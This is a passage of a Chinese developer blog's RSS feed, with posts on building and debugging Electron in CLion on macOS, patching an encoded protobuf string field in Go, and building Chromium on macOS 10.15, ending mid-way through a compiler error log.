&lt;h2&gt;构建 {#build}&lt;/h2&gt;
&lt;p&gt;为了快速跳过不重要的信息，我们直接从官网出现问题的地方开始说明。&lt;/p&gt;
&lt;p&gt;官方相关的构建文文档见:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href=&quot;https://www.electronjs.org/docs/development/build-instructions-macos&quot;&gt;构建步骤 (macOS)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.electronjs.org/docs/development/build-instructions-gn&quot;&gt;构建说明(macOS)&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;在准备操作时，请先确保你的 &lt;code&gt;macos SDK&lt;/code&gt; 是正确的，详情可见: &lt;a href=&quot;https://bugs.cc/zh/posts/build-and-debug-electron-code/#set-macos-sdk&quot;&gt;设置 macOS SDK&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;其中 《拉推的注意事项》的命令已经存在错误了，正确的命令应该为:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;cd src/electron
git remote remove origin
git remote add origin https://github.com/electron/electron
# 从这里开始就不一样了
git fetch
git checkout main
git pull --rebase origin main
git branch --set-upstream-to=origin/main
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;接下来文档中说需要使用 &lt;code&gt;gclient sync -f&lt;/code&gt; 命令，而在使用这个命令的时候，有时会出现 &lt;code&gt;dugite&lt;/code&gt; 命令失败的问题，解决方案见: &lt;a href=&quot;https://bugs.cc/zh/posts/build-and-debug-electron-code/#dugite-solution&quot;&gt;下载 dugite 失败解决方案&lt;/a&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;接下来就是重点，也是本文中的核心&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;当你运行完成上面的命令后，还需要修改: &lt;code&gt;build/config/compiler/compiler.gni&lt;/code&gt; 文件。&lt;/p&gt;
&lt;p&gt;把这个里面的&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-ini&quot;&gt;forbid_non_component_debug_builds = build_with_chromium
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;改为:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-ini&quot;&gt;forbid_non_component_debug_builds = false
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;如果缺失这一步，你在使用: &lt;code&gt;gn gen&lt;/code&gt; 命令时将会报错:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-ini&quot;&gt;ERROR at //build/config/compiler/compiler.gni:302:3: Assertion failed.
  assert(symbol_level != 2 || current_toolchain != default_toolchain ||
  ^-----
Can&apos;t do non-component debug builds at symbol_level=2
See //BUILD.gn:12:1: whence it was imported.
import(&quot;//build/config/compiler/compiler.gni&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/build-and-debug-electron-code/gn-gen-assertion-error.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;然后在使用 &lt;code&gt;gn gen&lt;/code&gt; 构建时，请使用下面的命令，替换官网的命令:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;gn gen out/Testing --args=&quot;import(\&quot;//electron/build/args/testing.gn\&quot;) is_debug=true symbol_level=2 $GN_EXTRA_ARGS&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;如果你想使用 &lt;code&gt;ccache&lt;/code&gt; ，则使用:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;gn gen out/Testing --args=&quot;import(\&quot;//electron/build/args/testing.gn\&quot;) cc_wrapper=\&quot;ccache\&quot; is_debug=true symbol_level=2 $GN_EXTRA_ARGS&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后就是进行构建:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;ninja -C out/Testing electron
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;调试 (CLion) {#debug}&lt;/h2&gt;
&lt;p&gt;在想使用 &lt;em&gt;CLion&lt;/em&gt; 进行调试时，请先确保你执行成功过 &lt;code&gt;ninja -C out/Testing electron&lt;/code&gt; 命令
“先不要急着去打开 &lt;em&gt;CLion&lt;/em&gt;，先在根目录(src同级目录)里创建一个 &lt;code&gt;CMakeLists.txt&lt;/code&gt; 文件，内”如下:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-ts&quot;&gt;cmake_minimum_required(VERSION 3.20)
project(electron)

set(CMAKE_CXX_STANDARD 14)

set(CMAKE_CXX_FLAGS_DEBUG &quot;${CMAKE_CXX_FLAGS_DEBUG} -O0&quot;)

include_directories(${CMAKE_CURRENT_SOURCE_DIR}/src)
include_directories(${CMAKE_CURRENT_SOURCE_DIR}/src/electron)
include_directories(${CMAKE_CURRENT_SOURCE_DIR}/src/out/Testing/gen)

add_executable(electron_exec ${CMAKE_CURRENT_SOURCE_DIR}/src/electron/shell/app/electron_main.cc)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这个文件是为了保证 &lt;em&gt;CLion&lt;/em&gt; 可以正确识别出代码，以及进行代码补全提示等功能，否则 IDE 的代码提示将&lt;strong&gt;完全失效&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;然后再使用 &lt;em&gt;CLion&lt;/em&gt; 打开项目，需要注意的是项目的根目录，就像下图一样:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/build-and-debug-electron-code/select-project-root.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;打开后，可能需要等个几十分钟，让 &lt;em&gt;CLion&lt;/em&gt; 建立 / 刷新缓存。&lt;/p&gt;
&lt;p&gt;依次打开: Setting -&amp;gt; Build, Execution, Deployment -&amp;gt; Custom Build Targets -&amp;gt; + -&amp;gt; Set Build。&lt;/p&gt;
&lt;p&gt;最终如图所示:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/build-and-debug-electron-code/custom-build-target.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;然后再设置: &lt;code&gt;Run/Debug Configurations&lt;/code&gt;，如图所示:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/build-and-debug-electron-code/run-debug-config.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;你如果想使用自编译的 electron 打开自己的应用，直接在 &lt;code&gt;Program arguments&lt;/code&gt; 里添加你的应用的地址即可&lt;/p&gt;
&lt;p&gt;其中: &lt;code&gt;CHROMIUM_LLDBINIT_SOURCED=1&lt;/code&gt; 也需要加上，否则无法调试: &lt;code&gt;Chormium&lt;/code&gt; 的源码&lt;/p&gt;
&lt;p&gt;设置完成后，还有一个地方需要进行设置，否则也无法进行调试:&lt;/p&gt;
&lt;p&gt;创建 &lt;code&gt;~/.lldbinit&lt;/code&gt; 文件，写入:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-ts&quot;&gt;script sys.path[:0] = [&apos;/Users/black-hole/Code/Github/electron/src/tools/lldb&apos;]
script import lldbinit
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;记得把上面的路径替换成你自己的。&lt;/p&gt;
&lt;p&gt;这一步在官网中也提到了，但是如果按照官网上所说的: &lt;code&gt;command script import ~/electron/src/tools/lldb/lldbinit.py&lt;/code&gt; 去设置，将无法使用，原因不明。&lt;/p&gt;
&lt;p&gt;新的 &lt;code&gt;~/.lldbinit&lt;/code&gt; 写法，我是产考 &lt;code&gt;Chromium&lt;/code&gt; 的写法&lt;/p&gt;
&lt;p&gt;然后就可以正常使用 断点调试功能了，如图:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/build-and-debug-electron-code/lldb-variables-working.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h2&gt;问题 {#issues}&lt;/h2&gt;
&lt;h3&gt;设置 macOS SDK {#set-macos-sdk}&lt;/h3&gt;
&lt;p&gt;目前按照 Electron 官方文档中提到的，最好使用: &lt;code&gt;MacOSX11.0.sdk&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;可以下载 &lt;a href=&quot;https://github.com/phracker/MacOSX-SDKs&quot;&gt;MacOSX-SDKs&lt;/a&gt; 中的 &lt;code&gt;MacOSX11.0.sdk&lt;/code&gt; 文件到目录: &lt;code&gt;/Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;即可。&lt;/p&gt;
&lt;h3&gt;下载 dugite 失败解决方案 {#dugite-solution}&lt;/h3&gt;
&lt;p&gt;当你在使用: &lt;code&gt;gclient sync -f&lt;/code&gt; 命令进行同步时，有时会报错：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;error /Users/black-hole/Code/Github/electron/src/electron/node_modules/dugite: Command failed.
Exit code: 1
Command: node ./script/download-git.js
Arguments:
Directory: /Users/black-hole/Code/Github/electron/src/electron/node_modules/dugite
Output:
Downloading Git from: https://github.com/desktop/dugite-native/releases/download/v2.29.3-2/dugite-native-v2.29.3-3d467be-macOS-x64.tar.gz
Error raised while downloading https://github.com/desktop/dugite-native/releases/download/v2.29.3-2/dugite-native-v2.29.3-3d467be-macOS-x64.tar.gz GotError [RequestError]: Client network socket disconnected before secure TLS connection was established
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/build-and-debug-electron-code/dugite-download-error.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;原因是因为 &lt;code&gt;dugite&lt;/code&gt; 再去下载二进制文件时，没有去识别使用你电脑的代理，你可以使用浏览器进行下载，然后使用 &lt;code&gt;python -m SimpleHTTPServer&lt;/code&gt; 开启一个 &lt;em&gt;http&lt;/em&gt; 服务，就像下面这样:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/build-and-debug-electron-code/simplehttpserver-serving.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;然后编辑 &lt;code&gt;src/electron/node_modules/dugite/script/embedded-git.json&lt;/code&gt; 文件，改为&lt;sup&gt;&lt;a href=&quot;https://bugs.cc/zh/posts/build-and-debug-electron-code/#user-content-fn-embedded-git-os&quot; id=&quot;user-content-fnref-embedded-git-os&quot; data-footnote-ref aria-describedby=&quot;footnote-label&quot; role=&quot;doc-noteref&quot;&gt;1&lt;/a&gt;&lt;/sup&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/build-and-debug-electron-code/embedded-git-json.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;然后执行:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;cd src/electron/node_modules/dugite
node ./script/download-git.js
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;全部执行完成后，再次执行 &lt;code&gt;gclient sync -f&lt;/code&gt; 就可以发现已经可以成功执行。&lt;/p&gt;
&lt;section data-footnotes class=&quot;footnotes&quot; role=&quot;doc-endnotes&quot;&gt;&lt;h2 class=&quot;visually-hidden&quot; id=&quot;footnote-label&quot;&gt;脚注&lt;/h2&gt;
&lt;ol&gt;
&lt;li id=&quot;user-content-fn-embedded-git-os&quot;&gt;
&lt;p&gt;不同的系统其修改的位置也不一样，根据你的系统型号去修改对应的就好。 &lt;a href=&quot;https://bugs.cc/zh/posts/build-and-debug-electron-code/#user-content-fnref-embedded-git-os&quot; data-footnote-backref=&quot;&quot; aria-label=&quot;返回引用 1&quot; class=&quot;data-footnote-backref&quot; role=&quot;doc-backlink&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/section&gt;
</content:encoded><category>electron</category><category>lldb</category><category>clion</category><author>bh@bugs.cc (Kevin Cui)</author></item><item><title>动态修改 Protocol Buffers 的 string message</title><link>https://bugs.cc/zh/posts/dynamically-modify-the-string-message-of-protocol-buffers/</link><guid isPermaLink="true">https://bugs.cc/zh/posts/dynamically-modify-the-string-message-of-protocol-buffers/</guid><description>动态修改已编码的 pb message</description><pubDate>Thu, 27 May 2021 08:02:30 GMT</pubDate><content:encoded>&lt;h2&gt;前言 {#intro}&lt;/h2&gt;
&lt;p&gt;因为需求变动，我们需要把之前发到 &lt;em&gt;阿里云&lt;/em&gt; 的日志迁移到我们公司内部的日志平台，而公司内部的日志平台使用的是 &lt;code&gt;Protocol Buffers&lt;/code&gt; 协议。&lt;/p&gt;
&lt;p&gt;而因之前的上报都是在 &lt;em&gt;阿里云&lt;/em&gt; ，所以我们在记录用户请求的 &lt;em&gt;IP&lt;/em&gt; 时，都是使用 &lt;code&gt;logtail&lt;/code&gt; 来自动记录的。&lt;/p&gt;
&lt;p&gt;而公司内部日志平台提供的 &lt;code&gt;RESTful&lt;/code&gt; 接口，只是用于转发使用，也就是 前端使用 &lt;em&gt;pb&lt;/em&gt; 编码 -&amp;gt; 发送到 &lt;code&gt;RESTful&lt;/code&gt; 服务器接口 -&amp;gt; 通过 UDP 转发到 &lt;em&gt;数据平台&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;也就说，自动记录用户请求的 &lt;em&gt;IP&lt;/em&gt; 地址，必须由 &lt;code&gt;RESTful&lt;/code&gt; 这个中转服务器来做，但是问题在于，因为这个中转服务器是通用的，所以它并不负责把 &lt;em&gt;json&lt;/em&gt; -&amp;gt; &lt;em&gt;pb&lt;/em&gt; ，而必须由前端去做，而因为前端已经编码后了，中转服务器无法在对已经编码的日志进行修改。&lt;/p&gt;
&lt;p&gt;这也就导致了，中转服务器很难为我们添加 &lt;em&gt;IP&lt;/em&gt; 地址。&lt;/p&gt;
&lt;p&gt;于是经过思考得出以下三种方案:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;前端通过请求第三方资源，去获取 &lt;em&gt;IP&lt;/em&gt; 地址&lt;/li&gt;
&lt;li&gt;由 中转服务器进行编码&lt;/li&gt;
&lt;li&gt;中转服务器修改 pb message&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;第一种方案，是首先被过滤掉的，因为需要考虑 &lt;em&gt;CDN&lt;/em&gt; 等其他问题，不可控因素较多&lt;/p&gt;
&lt;p&gt;第二种方案，也不太可行，因为上文提到过，这是一个通用服务，如果这么做的话，以后所有的 pb 都要在 中转服务器里进行编码，效率将比较低&lt;/p&gt;
&lt;p&gt;那么只能选择第三种方案&lt;/p&gt;
&lt;h2&gt;引用说明 {#string-encoding}&lt;/h2&gt;
&lt;p&gt;在正式解决前，我们需要先确定一点，&lt;em&gt;IP&lt;/em&gt; 地址一定是 字符串类型，所以我们现在需要知道 &lt;code&gt;Protocol Buffers&lt;/code&gt; 是怎么编码 &lt;em&gt;string message&lt;/em&gt; 的。&lt;/p&gt;
&lt;p&gt;这里我将引用第三方的说明: &lt;a href=&quot;https://halfrost.com/protobuf_encode/#toc-22&quot;&gt;Protocol Buffer 编码原理 - 字符串&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;为了方便阅读，这里我把相关说明的截图贴上来:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/dynamically-modify-the-string-message-of-protocol-buffers/protobuf-string-encoding.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h2&gt;开始处理 {#implementation}&lt;/h2&gt;
&lt;p&gt;现在我们知道了其编码原理，此时我们就可以进行修改编码了&lt;/p&gt;
&lt;p&gt;现在我们先看下我们的 原始 JSON 格式:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-json&quot;&gt;{
  &quot;level&quot;: &quot;info&quot;,
  &quot;message&quot;: &quot;test&quot;,
  &quot;lts&quot;: 1622078077630,
  &quot;clientIP&quot;: &quot;__inject-ip__&quot;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;Protocol Buffers&lt;/code&gt; 格式:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-proto&quot;&gt;syntax = &quot;proto3&quot;;

message Log {
    int64 lts = 1; // 时间戳
    string level = 2; // 日志等级
    string message = 3; // 日志主体信息
    string clientIP = 4; // IP
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;其中 &lt;code&gt;__inject-ip__&lt;/code&gt; 的作用就是占位符，用于告诉中转服务器应该修改哪里。&lt;/p&gt;
&lt;p&gt;现在经过 &lt;code&gt;Protocol Buffers&lt;/code&gt; 编码后，上面的 &lt;em&gt;JSON&lt;/em&gt; 对象将会被编码成:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;08 be f5 8c db 9a 2f 22 04 69 6e 66 6f 2a 04 74 65 73 74 3a 0d 5f 5f 69 6e 6a 65 63 74 2d 69 70 5f 5f
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;其中 &lt;code&gt;5f 5f 69 6e 6a 65 63 74 2d 69 70 5f 5f&lt;/code&gt; 就是 &lt;code&gt;__inject-ip__&lt;/code&gt; 的十六进制编码&lt;/p&gt;
&lt;p&gt;而根据文章所说，前面的 &lt;code&gt;3a 0d&lt;/code&gt; 是 &lt;code&gt;Protocol Buffers&lt;/code&gt; 必要的信息&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;em&gt;3a&lt;/em&gt; 代表了当前字段的类型及 ID&lt;/li&gt;
&lt;li&gt;&lt;em&gt;0d&lt;/em&gt; 代表了当前 value 的长度&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;所以我们只需要关心 &lt;code&gt;0d&lt;/code&gt; 和 &lt;code&gt;5f 5f 69 6e 6a 65 63 74 2d 69 70 5f 5f&lt;/code&gt; 就可以了&lt;/p&gt;
&lt;p&gt;现在我们假设 中转服务器获得的用户 IP 为: &lt;code&gt;127.0.0.1&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;那么我们应该把 &lt;code&gt;0d&lt;/code&gt; 改为 &lt;code&gt;hexadecimal(len(127.0.0.1))&lt;/code&gt;，同时把 &lt;code&gt;5f 5f 69 6e 6a 65 63 74 2d 69 70 5f 5f&lt;/code&gt; 改为: &lt;code&gt;hexadecimal(127.0.0.1)&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;那么原理和细节清楚后，我们就可以写代码来完成这件事了:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-go&quot;&gt;package main

import (
	&quot;encoding/base64&quot;
	&quot;encoding/hex&quot;
	&quot;fmt&quot;
	&quot;strings&quot;
)

func main() {
	// pb Buffer 的 base64 编码表现形式(byte =&amp;gt; base64)
	payloadBase64 := &quot;CMK+w7XCjMObwpovIgRpbmZvKgR0ZXN0Og1fX2luamVjdC1pcF9f&quot;

	// 解码 base64
	payload, err := base64.StdEncoding.DecodeString(payloadBase64); if err != nil {
		panic(err)
	}

	// string 转 十六进制
	// 08C2BEC3B5C28CC39BC29A2F2204696E666F2A04746573743A0D5F5F696E6A6563742D69705F5F
	payloadBinaryStr := fmt.Sprintf(&quot;%X&quot;, payload)

	// 此为 __inject-ip__ 占位符的 十六进制
	ipPlaceholder := &quot;5F5F696E6A6563742D69705F5F&quot;

	// 占位符出现的下标
	placeholderIndex := strings.Index(payloadBinaryStr, ipPlaceholder)

	// 用户的IP
	clientIP := &quot;127.0.0.1&quot;

	// clientIP 的十六进制
	clientIPBinaryStr := fmt.Sprintf(&quot;%X&quot;, clientIP)

	// IP 的长度(十六进制格式)，用于修改 pb 中 clientIP 的长度
	// 因为 ip地址的最大长度为15(255.255.255.255)，不超过 255，所以我们这里是可以保证 clientIPLen 的长度一定是 2 位(即: 一个字节)
    // 同时通过 %02 来保证，不满2位，则在前方补零
	clientIPLen := fmt.Sprintf(&quot;%02X&quot;, len(clientIP))

	payloadBinaryStrPrefix := payloadBinaryStr[:placeholderIndex - 2]
	payloadBinaryStrSuffix := payloadBinaryStr[placeholderIndex + len(ipPlaceholder):]
	payloadBinaryStrNewContent := clientIPLen + clientIPBinaryStr

	// 08C2BEC3B5C28CC39BC29A2F2204696E666F2A04746573743A093132372E302E302E31
	// 可以看到，此时，之前的 0D 已经被替换成 09
	payloadBinaryStr = payloadBinaryStrPrefix + payloadBinaryStrNewContent + payloadBinaryStrSuffix

	payloadBinaryByte, err := hex.DecodeString(payloadBinaryStr); if err != nil {
		panic(err)
	}

	newPayloadBase64 := base64.StdEncoding.EncodeToString(payloadBinaryByte)

    // CMK+w7XCjMObwpovIgRpbmZvKgR0ZXN0OgkxMjcuMC4wLjE=
	fmt.Println(newPayloadBase64)
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后我们修改 原始JSON，把 &lt;code&gt;__inject-ip__&lt;/code&gt; 更换成 &lt;code&gt;127.0.0.1&lt;/code&gt;，再使用 &lt;code&gt;Protocol Buffers&lt;/code&gt; 进行编码，发现是一模一样的，说明是没问题的。&lt;/p&gt;
</content:encoded><category>protobuf</category><category>golang</category><author>bh@bugs.cc (Kevin Cui)</author></item><item><title>macOS 10.15 下载及编译 Chromium</title><link>https://bugs.cc/zh/posts/macos-10.15-download-and-build-chromium/</link><guid isPermaLink="true">https://bugs.cc/zh/posts/macos-10.15-download-and-build-chromium/</guid><description>在 macOS 10.15 下载及编译 Chromium 的一些过程</description><pubDate>Tue, 31 Mar 2020 07:50:24 GMT</pubDate><content:encoded>&lt;h2&gt;下载 {#download}&lt;/h2&gt;
&lt;p&gt;下载 &lt;code&gt;Chromium&lt;/code&gt; 源码具体可参见 &lt;a href=&quot;https://chromium.googlesource.com/chromium/src/+/master/docs/mac_build_instructions.md&quot;&gt;Checking out and building Chromium for Mac&lt;/a&gt;。但是如果按照文档上来做的话，会很难拉下来。&lt;/p&gt;
&lt;p&gt;网上也有博主说可以利用 国内的&lt;code&gt;Gitee&lt;/code&gt; 来远程克隆下载，但是目前 &lt;code&gt;Gitee&lt;/code&gt; 已经不支持单个仓库那么大了（即使是企业版也无法支持单个项目容量很大的情况），毕竟现在 &lt;code&gt;Chromium&lt;/code&gt; 没有任何历史记录都需要 &lt;code&gt;16G&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;经过各种尝试，在拉源码时，可以使用 &lt;code&gt;fetch --nohooks --no-history chromium&lt;/code&gt;，来拉，成功率会高出不少，拉下来后，再运行 &lt;code&gt;gclient sync&lt;/code&gt; 来执行下 &lt;code&gt;hooks&lt;/code&gt;，如果还需要历史记录的话，可以执行 &lt;code&gt;git fetch --unshallow&lt;/code&gt; 这样就可以和直接运行 &lt;code&gt;fetch chromium&lt;/code&gt; 有同样的结果。&lt;/p&gt;
&lt;p&gt;不过值得一提的事，&lt;code&gt;git fetch --unshallow&lt;/code&gt; 也会很慢。毕竟十几万个 &lt;code&gt;commit&lt;/code&gt;，这个时候只能依靠人品，如果失败的话，最好先运行一次 &lt;code&gt;git gc --prune=now&lt;/code&gt; ，再重新执行 &lt;code&gt;git fetch --unshallow&lt;/code&gt; 不然你的仓库会越来越大。&lt;/p&gt;
&lt;p&gt;以上步骤，我花了5天时间，用掉了机场的 &lt;code&gt;180G&lt;/code&gt; 流量才下载完成。&lt;sup&gt;&lt;a href=&quot;https://bugs.cc/zh/posts/macos-10.15-download-and-build-chromium/#user-content-fn-update-code&quot; id=&quot;user-content-fnref-update-code&quot; data-footnote-ref aria-describedby=&quot;footnote-label&quot; role=&quot;doc-noteref&quot;&gt;1&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;
&lt;h2&gt;编译 {#build}&lt;/h2&gt;
&lt;p&gt;目前我的电脑信息如下:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;OSVersion: macOS Catalina 10.15.3&lt;/li&gt;
&lt;li&gt;CPU: 2.4 GHz 八核Intel Core i9&lt;/li&gt;
&lt;li&gt;Memory: 32 GB 2667 MHz DDR4&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;目前官网文档: &lt;a href=&quot;https://chromium.googlesource.com/chromium/src/+/master/docs/mac_build_instructions.md&quot;&gt;Checking out and building Chromium for Mac&lt;/a&gt; 中提到需要 &lt;code&gt;OS X 10.15 SDK&lt;/code&gt; ，而我的系统是 &lt;code&gt;10.15.3&lt;/code&gt; 所以这个 &lt;code&gt;SDK&lt;/code&gt; 我是有的，于是开始执行 &lt;code&gt;gn gen out/Debug&lt;/code&gt; 来生成构建目录，然后就报错…&lt;/p&gt;
&lt;p&gt;相关错误如下:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-sh&quot;&gt;********************************************************************************
 WARNING: The NaCL SDK is 32-bit only. macOS 10.15+ removed support for 32-bit
          executables. To fix, set enable_nacl=false in args.gn, or downgrade to
          macOS 10.14. For more information, see https://crbug.com/1049832.
********************************************************************************
ERROR at //components/nacl/features.gni:40:3: Assertion failed.
  assert(false, &quot;NaCL SDK is incompatible with host macOS version&quot;)
  ^-----
NaCL SDK is incompatible with host macOS version
See //BUILD.gn:18:1: whence it was imported.
import(&quot;//components/nacl/features.gni&quot;)
^--------------------------------------
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;因为，NaCL 是 &lt;code&gt;32位&lt;/code&gt; ，而目前 &lt;code&gt;macOS 10.15+&lt;/code&gt; 以上已经移除了对 &lt;code&gt;32位&lt;/code&gt; 的支持，上面有相关的链接。打开后显示权限不足，无法查看….&lt;/p&gt;
&lt;p&gt;不过我看到上面的说明中，说道只需要在 &lt;code&gt;args.gn&lt;/code&gt; 文件里加入 &lt;code&gt;enable_nacl=false&lt;/code&gt; 即可，但是 &lt;code&gt;args.gn&lt;/code&gt; 文件是需要 &lt;code&gt;gn gen out/Debug&lt;/code&gt; 之后才有的，乍一看陷入了死循环。于是查了下相关资料，发现 &lt;code&gt;gn gen&lt;/code&gt; 是可以指定相关参数的。于是把命令改成: &lt;code&gt;gn gen out/Debug --args=&quot;enable_nacl=false&quot;&lt;/code&gt; 即可完成构建目录。&lt;sup&gt;&lt;a href=&quot;https://bugs.cc/zh/posts/macos-10.15-download-and-build-chromium/#user-content-fn-enable-nacl&quot; id=&quot;user-content-fnref-enable-nacl&quot; data-footnote-ref aria-describedby=&quot;footnote-label&quot; role=&quot;doc-noteref&quot;&gt;2&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;
&lt;p&gt;完成构建目录后，你可以在 &lt;code&gt;out/Debug/args.gn&lt;/code&gt; 看到&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;enable_nacl = false
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这个时候，你还需要在此文件里，添加如下配置:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;# 开启 debug
is_debug = true
# 编译成动态链接库
is_component_build = true
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这个时候如果你使用 &lt;code&gt;autoninja -C out/Debug chrome&lt;/code&gt; 开始编译时，等过了半个多小时后，你会发现报错，无法继续编译，相关错误如下:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-sh&quot;&gt;ninja: Entering directory `./out/Debug&apos;
[1/1] Regenerating ninja files
[18588/41244] OBJCXX obj/components/viz/common/metal_context_provider/metal_api_proxy.o
FAILED: obj/components/viz/common/metal_context_provider/metal_api_proxy.o
../../third_party/llvm-build/Release+Asserts/bin/clang++ -MMD -MF obj/components/viz/common/metal_context_provider/metal_api_proxy.o.d -DVIZ_METAL_CONTEXT_PROVIDER_IMPLEMENTATION -D_LIBCPP_HAS_NO_ALIGNED_ALLOCATION -DCR_XCODE_VERSION=1140 -DCR_CLANG_REVISION=\&quot;n345938-a1762f9c-1\&quot; -D__STDC_CONSTANT_MACROS -D__STDC_FORMAT_MACROS -DCOMPONENT_BUILD -D_LIBCPP_ENABLE_NODISCARD -D_LIBCPP_DEBUG=0 -DCR_LIBCXX_REVISION=375504 -D__ASSERT_MACROS_DEFINE_VERSIONS_WITHOUT_UNDERSCORES=0 -D_DEBUG -DDYNAMIC_ANNOTATIONS_ENABLED=1 -DWEBP_EXTERN=extern -DUSE_EGL -DSK_CODEC_DECODES_PNG -DSK_CODEC_DECODES_WEBP -DSK_ENCODE_PNG -DSK_ENCODE_WEBP -DSK_USER_CONFIG_HEADER=\&quot;../../skia/config/SkUserConfig.h\&quot; -DSK_GL -DSK_CODEC_DECODES_JPEG -DSK_ENCODE_JPEG -DSK_USE_LIBGIFCODEC -DSKIA_DLL -DSKCMS_API=__attribute__\(\(visibility\(\&quot;default\&quot;\)\)\) -DSK_SUPPORT_GPU=1 -DSK_GPU_WORKAROUNDS_HEADER=\&quot;gpu/config/gpu_driver_bug_workaround_autogen.h\&quot; -DSK_BUILD_FOR_MAC -DSK_METAL -DBORINGSSL_SHARED_LIBRARY -DU_USING_ICU_NAMESPACE=0 -DU_ENABLE_DYLOAD=0 -DUSE_CHROMIUM_ICU=1 -DU_ENABLE_TRACING=1 -DU_ENABLE_RESOURCE_TRACING=0 -DICU_UTIL_DATA_IMPL=ICU_UTIL_DATA_FILE -DUCHAR_TYPE=uint16_t -DGOOGLE_PROTOBUF_NO_RTTI -DGOOGLE_PROTOBUF_NO_STATIC_INITIALIZER -DHAVE_PTHREAD -DPROTOBUF_USE_DLLS -I../.. -Igen -I../../third_party/libwebp/src -I../../third_party/khronos -I../../gpu -I../../third_party/perfetto/include -Igen/third_party/perfetto/build_config -Igen/third_party/perfetto -I../../third_party/skia -I../../third_party/libgifcodec -I../../third_party/boringssl/src/include -I../../third_party/icu/source/common -I../../third_party/icu/source/i18n -I../../third_party/ced/src -I../../third_party/protobuf/src -I../../third_party/protobuf/src -Igen/protoc_out 